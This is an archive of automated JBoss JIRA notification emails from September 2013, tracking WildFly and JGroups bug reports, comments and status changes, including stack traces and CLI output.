>                 URL: https://issues.jboss.org/browse/WFLY-2169
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Ubuntu 12.04 LTS, openjdk-7-jdk-7u25-2.3.10-1ubuntu0.12.04.2
>            Reporter: Bernd Nigmann
>            Assignee: Tomaz Cerar
>
> Undertow's default for the maximum number of HTTP parameter it parses in a GET or POST is 1000:
> {noformat}
> 15:05:41,276 ERROR [io.undertow.request] (default task-17)
>    Servlet request failed HttpServerExchange{ POST /***/*******/****}:
>    java.lang.IllegalStateException: UT000047: The number of
>    parameters exceeded the maximum of 1000
> {noformat}
> In the Undertow sources (https://github.com/undertow-io/undertow/blob/master/core/src/main/java/io/undertow/UndertowOptions.java), I found this to be a configurable option: "{{MAX_PARAMETERS}}".
> Please allow changing some of these Undertow options through the WildFly {{standalone.xml}}. Tomaz Cerar asked me to create a ticket for this, based on the referenced forum thread.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 07:55:02 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 30 Sep 2013 07:55:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2169) Add support to change various
 Undertow listener options
In-Reply-To: <JIRA.12501691.1380249028000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501691.1380249028000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501691.1380249028000.6006.1380542102760@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2169?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-2169:
------------------------------

        Parent: WFLY-2055
    Issue Type: Sub-task  (was: Feature Request)

    
> Add support to change various Undertow listener options
> -------------------------------------------------------
>
>                 Key: WFLY-2169
>                 URL: https://issues.jboss.org/browse/WFLY-2169
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Ubuntu 12.04 LTS, openjdk-7-jdk-7u25-2.3.10-1ubuntu0.12.04.2
>            Reporter: Bernd Nigmann
>            Assignee: Tomaz Cerar
>
> Undertow's default for the maximum number of HTTP parameter it parses in a GET or POST is 1000:
> {noformat}
> 15:05:41,276 ERROR [io.undertow.request] (default task-17)
>    Servlet request failed HttpServerExchange{ POST /***/*******/****}:
>    java.lang.IllegalStateException: UT000047: The number of
>    parameters exceeded the maximum of 1000
> {noformat}
> In the Undertow sources (https://github.com/undertow-io/undertow/blob/master/core/src/main/java/io/undertow/UndertowOptions.java), I found this to be a configurable option: "{{MAX_PARAMETERS}}".
> Please allow changing some of these Undertow options through the WildFly {{standalone.xml}}. Tomaz Cerar asked me to create a ticket for this, based on the referenced forum thread.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 08:14:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 08:14:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2106) IBM JDK, Error Shutting Down,
 SecurityException: unable to instantiate Subject-based policy
In-Reply-To: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500949.1379521705000.6051.1380543242627@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2106?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808197#comment-12808197 ] 

RH Bugzilla Integration commented on WFLY-2106:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> changed the Status of [bug 1006876|https://bugzilla.redhat.com/show_bug.cgi?id=1006876] from ON_QA to VERIFIED
                
> IBM JDK, Error Shutting Down, SecurityException: unable to instantiate Subject-based policy
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2106
>                 URL: https://issues.jboss.org/browse/WFLY-2106
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Kabir Khan
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> full stacktrace:
> [0m[31m02:50:22,461 ERROR [org.jboss.as.controller.management-operation] (management-handler-thread - 1) JBAS014612: Operation ("read-attribute") failed - address: ([]): java.lang.SecurityException: unable to instantiate Subject-based policy
> 	at javax.security.auth.Policy.getPolicyNoCheck(Policy.java:268) [rt.jar:1.6.0]
> 	at javax.security.auth.Policy.getPolicy(Policy.java:219) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner$5.run(SubjectDomainCombiner.java:513) [rt.jar:1.6.0]
> 	at java.security.AccessController.doPrivileged(AccessController.java:228) [vm.jar:]
> 	at javax.security.auth.SubjectDomainCombiner.compatPolicy(SubjectDomainCombiner.java:509) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner.combine(SubjectDomainCombiner.java:223) [rt.jar:1.6.0]
> 	at java.security.AccessController.getContext(AccessController.java:167) [vm.jar:]
> 	at org.jboss.as.controller.SecurityActions$CreateCallerActions$1.getCaller(SecurityActions.java:151)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 30 08:14:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 08:14:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2106) IBM JDK, Error Shutting Down,
 SecurityException: unable to instantiate Subject-based policy
In-Reply-To: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500949.1379521705000.6056.1380543242973@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2106?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808198#comment-12808198 ] 

RH Bugzilla Integration commented on WFLY-2106:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> made a comment on [bug 1006876|https://bugzilla.redhat.com/show_bug.cgi?id=1006876]

Verified on EAP 6.2.0.ER3
                
> IBM JDK, Error Shutting Down, SecurityException: unable to instantiate Subject-based policy
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2106
>                 URL: https://issues.jboss.org/browse/WFLY-2106
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Kabir Khan
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> full stacktrace:
> [0m[31m02:50:22,461 ERROR [org.jboss.as.controller.management-operation] (management-handler-thread - 1) JBAS014612: Operation ("read-attribute") failed - address: ([]): java.lang.SecurityException: unable to instantiate Subject-based policy
> 	at javax.security.auth.Policy.getPolicyNoCheck(Policy.java:268) [rt.jar:1.6.0]
> 	at javax.security.auth.Policy.getPolicy(Policy.java:219) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner$5.run(SubjectDomainCombiner.java:513) [rt.jar:1.6.0]
> 	at java.security.AccessController.doPrivileged(AccessController.java:228) [vm.jar:]
> 	at javax.security.auth.SubjectDomainCombiner.compatPolicy(SubjectDomainCombiner.java:509) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner.combine(SubjectDomainCombiner.java:223) [rt.jar:1.6.0]
> 	at java.security.AccessController.getContext(AccessController.java:167) [vm.jar:]
> 	at org.jboss.as.controller.SecurityActions$CreateCallerActions$1.getCaller(SecurityActions.java:151)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 30 08:51:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Mon, 30 Sep 2013 08:51:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2182) Significant slow down of
 testsuite execution
In-Reply-To: <JIRA.12501817.1380538653000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501817.1380538653000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501817.1380538653000.6150.1380545462697@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2182?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808212#comment-12808212 ] 

Kabir Khan commented on WFLY-2182:
----------------------------------

I can reproduce this locally, so I will take a look at why this happens
                
> Significant slow down of testsuite execution
> --------------------------------------------
>
>                 Key: WFLY-2182
>                 URL: https://issues.jboss.org/browse/WFLY-2182
>             Project: WildFly
>          Issue Type: Bug
>          Components: Remoting
>            Reporter: Jozef Hartinger
>            Assignee: Kabir Khan
>
> I am observing a significant slow down when running the Weld integration testsuite. I tracked this down to this commit:
> https://github.com/wildfly/wildfly/commit/13f09525717a089f8a524d086fd865798410f368
> Here are the observed execution times of the Weld integration testsuite:
> Before: Total time: 4:30.357s
> After: Total time: 11:05.547s
> I also tried running the WildFly's integration testsuite (testsuite/integration/basic) with and without the 13f09525717a089f8a524d086fd865798410f368 commit:
> Before: Total time: 13:04.412s
> After: Total time: 21:33.089s
> Note that the difference is not observed when using the arquillian servlet protocol

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 08:55:02 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 30 Sep 2013 08:55:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2184) Probe operations not visible
 in access control meta data
In-Reply-To: <JIRA.12501836.1380545587105@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501836.1380545587105@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501836.1380545587105.6160.1380545702855@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2184:
---------------------------------

             Summary: Probe operations not visible in access control meta data
                 Key: WFLY-2184
                 URL: https://issues.jboss.org/browse/WFLY-2184
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


See 

{noformat}
[domain at localhost:9999 /] /host=master/server=server-one/subsystem=transactions/log-store=log-store:read-resource-description(access-control=trim-descriptions, operations=true){roles=administrator}
{
    "outcome" => "success",
    "result" => {
        "description" => undefined,
        "attributes" => undefined,
        "operations" => undefined,
        "children" => {"transactions" => {"model-description" => undefined}},
        "access-control" => {
            "default" => {
                "read" => true,
                "write" => true,
                "attributes" => {"type" => {
                    "read" => true,
                    "write" => false
                }},
                "operations" => {
                    "read-children-names" => {"execute" => true},
                    "read-operation-description" => {"execute" => true},
                    "read-operation-names" => {"execute" => true},
                    "read-children-types" => {"execute" => true},
                    "undefine-attribute" => {"execute" => true},
                    "read-children-resources" => {"execute" => true},
                    "read-resource-description" => {"execute" => true},
                    "read-resource" => {"execute" => true},
                    "read-attribute" => {"execute" => true},
                    "write-attribute" => {"execute" => true}
                }
            },
            "exceptions" => {}
        }
    }
}

{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 08:55:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 30 Sep 2013 08:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2184) Probe operations not visible
 in access control meta data
In-Reply-To: <JIRA.12501836.1380545587000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501836.1380545587000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501836.1380545587000.6167.1380545703505@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2184?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun reassigned WFLY-2184:
---------------------------------

    Assignee: Kabir Khan  (was: Brian Stansberry)


[~kabirkhan] Can you take a look at this? I would expect the operation to appear within the access control meta data when operating as "administrator"
                
> Probe operations not visible in access control meta data
> --------------------------------------------------------
>
>                 Key: WFLY-2184
>                 URL: https://issues.jboss.org/browse/WFLY-2184
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> See 
> {noformat}
> [domain at localhost:9999 /] /host=master/server=server-one/subsystem=transactions/log-store=log-store:read-resource-description(access-control=trim-descriptions, operations=true){roles=administrator}
> {
>     "outcome" => "success",
>     "result" => {
>         "description" => undefined,
>         "attributes" => undefined,
>         "operations" => undefined,
>         "children" => {"transactions" => {"model-description" => undefined}},
>         "access-control" => {
>             "default" => {
>                 "read" => true,
>                 "write" => true,
>                 "attributes" => {"type" => {
>                     "read" => true,
>                     "write" => false
>                 }},
>                 "operations" => {
>                     "read-children-names" => {"execute" => true},
>                     "read-operation-description" => {"execute" => true},
>                     "read-operation-names" => {"execute" => true},
>                     "read-children-types" => {"execute" => true},
>                     "undefine-attribute" => {"execute" => true},
>                     "read-children-resources" => {"execute" => true},
>                     "read-resource-description" => {"execute" => true},
>                     "read-resource" => {"execute" => true},
>                     "read-attribute" => {"execute" => true},
>                     "write-attribute" => {"execute" => true}
>                 }
>             },
>             "exceptions" => {}
>         }
>     }
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 09:22:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 30 Sep 2013 09:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2182) Significant slow down of
 testsuite execution
In-Reply-To: <JIRA.12501817.1380538653000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501817.1380538653000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501817.1380538653000.6265.1380547323049@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2182?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808240#comment-12808240 ] 

Brian Stansberry commented on WFLY-2182:
----------------------------------------

Thanks, Jozef!
                
> Significant slow down of testsuite execution
> --------------------------------------------
>
>                 Key: WFLY-2182
>                 URL: https://issues.jboss.org/browse/WFLY-2182
>             Project: WildFly
>          Issue Type: Bug
>          Components: Remoting
>            Reporter: Jozef Hartinger
>            Assignee: Kabir Khan
>
> I am observing a significant slow down when running the Weld integration testsuite. I tracked this down to this commit:
> https://github.com/wildfly/wildfly/commit/13f09525717a089f8a524d086fd865798410f368
> Here are the observed execution times of the Weld integration testsuite:
> Before: Total time: 4:30.357s
> After: Total time: 11:05.547s
> I also tried running the WildFly's integration testsuite (testsuite/integration/basic) with and without the 13f09525717a089f8a524d086fd865798410f368 commit:
> Before: Total time: 13:04.412s
> After: Total time: 21:33.089s
> Note that the difference is not observed when using the arquillian servlet protocol

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 09:31:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 30 Sep 2013 09:31:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.6322.1380547863667@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807182#comment-12807182 ] 

Bela Ban edited comment on JGRP-1705 at 9/30/13 9:30 AM:
---------------------------------------------------------

In the log, we can see that a MERGE event was sent up with the *same view-id*:

{noformat}
[Sender: 172.29.190.189-svc2-serv-00832070-38705, ViewID :     [172.29.190.39-svc0-serv-00832097-62076|10]]
[Sender: 172.29.190.39-svc0-serv-00832097-62076, ViewID :      [172.29.190.39-svc0-serv-00832097-62076|10]]
[Sender: 172.29.190.155-svc3-serv-ETJ104516289-45232, ViewID : [172.29.190.39-svc0-serv-00832097-62076|10]]
{noformat}

Of course, we also need to fix suppression of these events, but the second line of defense is to quickly check if all view-ids are the same and simply drop the MERGE event in this case.
                
      was (Author: belaban):
    In the log, we can see that a MERGE event was sent up with the *same view-id*L

{noformat}
[Sender: 172.29.190.189-svc2-serv-00832070-38705, ViewID :     [172.29.190.39-svc0-serv-00832097-62076|10]]
[Sender: 172.29.190.39-svc0-serv-00832097-62076, ViewID :      [172.29.190.39-svc0-serv-00832097-62076|10]]
[Sender: 172.29.190.155-svc3-serv-ETJ104516289-45232, ViewID : [172.29.190.39-svc0-serv-00832097-62076|10]]
{noformat}

Of course, we also need to fix suppression of these events, but the second line of defense is to quickly check if all view-ids are the same and simply drop the MERGE event in this case.
                  
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 09:33:02 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 30 Sep 2013 09:33:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.6331.1380547982816@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808245#comment-12808245 ] 

Bela Ban commented on JGRP-1705:
--------------------------------

The merging seems to work fine as Karim achieved a cluster of 1538 nodes: http://belaban.blogspot.ch/2013/09/new-record-for-large-jgroups-cluster.html.

Made a few more changes: 
* When a TMP_VIEW is received, the InfoSender and ViewConsistencyChecker are stopped (restarted on VIEW)
* When an INFO is received from sender P, we remove P's previous INFO registrations
                
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 09:35:02 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 30 Sep 2013 09:35:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.6341.1380548102961@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1705.
----------------------------

    Resolution: Done

    
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 09:35:03 2013
From: jira-events at lists.jboss.org (Stan Silvert (JIRA))
Date: Mon, 30 Sep 2013 09:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1913) CLI 'module add' command fail
 if a drive letter is specified in its resource path
In-Reply-To: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499050.1377075768000.6346.1380548103156@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1913?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stan Silvert reopened WFLY-1913:
--------------------------------



Reopening.

This fix breaks module commands that are part of a deployment archive.  See erroneous fix here: https://github.com/wildfly/wildfly/commit/e4c831dfe87668dd3a1c308ae43378e015e416b4#diff-f8a04572ea92d965c2b95278f93cdd90

You can't just get rid of the call to ctx.getCurrentDir().  It's there for a reason.  A module command can be included in a deploy.scr script, which is inside a *.cli archive.  See https://community.jboss.org/wiki/CLIDeploymentArchive

The call to ctx.getCurrenDir() ensures that the resources are found in the archive rather than on the file system.
                
> CLI 'module add' command fail if a drive letter is specified in its resource path
> ---------------------------------------------------------------------------------
>
>                 Key: WFLY-1913
>                 URL: https://issues.jboss.org/browse/WFLY-1913
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> If a drive letter is specified in the resource path the module add command fails on MS Windows. It cannot locate such a resource because of doubled drive letter in the translated path.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 09:35:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 30 Sep 2013 09:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1682) STOP_FLUSH race condition in
	3.x
In-Reply-To: <JIRA.12499238.1377211662000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499238.1377211662000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499238.1377211662000.6348.1380548103226@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1682?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1682:
---------------------------

    Fix Version/s: 3.5
                       (was: 3.4)

    
> STOP_FLUSH race condition in 3.x
> --------------------------------
>
>                 Key: JGRP-1682
>                 URL: https://issues.jboss.org/browse/JGRP-1682
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.3.4
>            Reporter: Dennis Reed
>            Assignee: Dennis Reed
>             Fix For: 3.3.6, 3.5
>
>
> Similar to JGRP-1674.
> flush_unblock_promise in FLUSH is not reset before use in waitForUnblock.
> *Any* UNBLOCK (such as another node running FLUSH) will set it, not just the expected UNBLOCK.
> The next call to waitForUnblock will not block.
> (and if the UNBLOCK it was waiting for comes later, it will trigger the issue again on the next waitForUnblock).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 09:57:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 09:57:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2181) TempFileProviderService
 creates a static, non-daemon thread pool
In-Reply-To: <JIRA.12501805.1380532508000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501805.1380532508000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501805.1380532508000.6394.1380549422808@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2181?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808252#comment-12808252 ] 

RH Bugzilla Integration commented on WFLY-2181:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1012968|https://bugzilla.redhat.com/show_bug.cgi?id=1012968] from NEW to POST
                
> TempFileProviderService creates a static, non-daemon thread pool
> ----------------------------------------------------------------
>
>                 Key: WFLY-2181
>                 URL: https://issues.jboss.org/browse/WFLY-2181
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>
> This can prevent the server from shutting down

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 10:07:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 10:07:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-17) ignore CNFE when scanning for
 entity classes in deployment
In-Reply-To: <JIRA.12489621.1366137451000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489621.1366137451000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489621.1366137451000.6437.1380550022800@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-17?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808261#comment-12808261 ] 

RH Bugzilla Integration commented on WFLY-17:
---------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> made a comment on [bug 1006617|https://bugzilla.redhat.com/show_bug.cgi?id=1006617]

PR for EAP : https://github.com/jbossas/jboss-eap/pull/492
                
> ignore CNFE when scanning for entity classes in deployment
> ----------------------------------------------------------
>
>                 Key: WFLY-17
>                 URL: https://issues.jboss.org/browse/WFLY-17
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Alpha1
>
>         Attachments: cnfe.jar
>
>
> Deployments may contain non-entity classes that can not be loaded (see above forum reference for example).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 10:07:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 10:07:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-17) ignore CNFE when scanning for
 entity classes in deployment
In-Reply-To: <JIRA.12489621.1366137451000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489621.1366137451000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489621.1366137451000.6440.1380550022908@jira02.app.mwc.hst.phx2.redhat.com>


